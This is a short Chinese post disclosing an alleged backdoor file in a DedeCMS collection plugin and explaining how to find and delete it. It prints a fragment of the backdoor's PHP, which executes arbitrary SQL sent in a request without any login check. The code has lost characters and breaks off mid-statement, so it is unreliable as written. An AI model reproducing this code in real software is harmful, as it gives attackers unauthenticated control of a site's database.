DEDE采集大师官方留后门的删除办法
去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库,并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说,方法: } exit(); } if($dopost=="index") { require_once(DEDEINC.'/arc.partview.class.php'); $envs = $_sys_globals = array(); $envs['aid'] = 0; $pv = new PartView(); $row = $pv->dsql->GetOne('Select From dede_homepageset '); $templet = str_replace("{style}",$cfg_df_style,$row['templet']); $homeFile = dirname(FILE).'/'.$row['position']; $homeFile = str_replace("//","/",str_replace("",$homeFile)); $fp = fopen($homeFile,'w') or die("无法更新网站主页到:$homeFile 位置"); fclose($fp); $tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet; $pv->SetTemplet($tpl); $pv->SaveToHtml($homeFile); $pv->Close(); echo "成功更新首页!"; exit(); } else if($dopost=="query") { $sqlquery = trim(stripslashes($sqlquery)); if(eregi("drop(.)table",$sqlquery) ||eregi("drop(.)database",$sqlquery)) { echo "删除'数据表'或'数据库'的语句不允许在这里执行。"; exit(); } if(eregi("^select ",$sqlquery)) { $dsql->SetQuery($sqlquery); $dsql->Execute(); if($dsql->GetTotalRow()<=0) { echo "运行SQL:{$sqlquery},无返回记录!"; } else { echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!"; } $j = 0; while($row = $dsql->GetArray()) { $j++; if($j>100) { break; } echo " "; echo "记录:$j"; echo " "; foreach($row as $k=>$v) { echo "{$k}:{$v} rn"; } } exit(); } if($querytype==2) { $sqlquery = str_replace("r","",$sqlquery); $sqls = split(";[ t]{0,}n",$sqlquery); $nerrCode = "";$i=0; foreach($sqls as $q) { $q = trim($q); if($q=="") { continue; } $dsql->ExecuteNoneQuery($q); $errCode = trim($dsql->GetError()); if($errCode=="") { $i++; } else { $nerrCode .= "执行: $q 出错,错误提示:".$errCode."
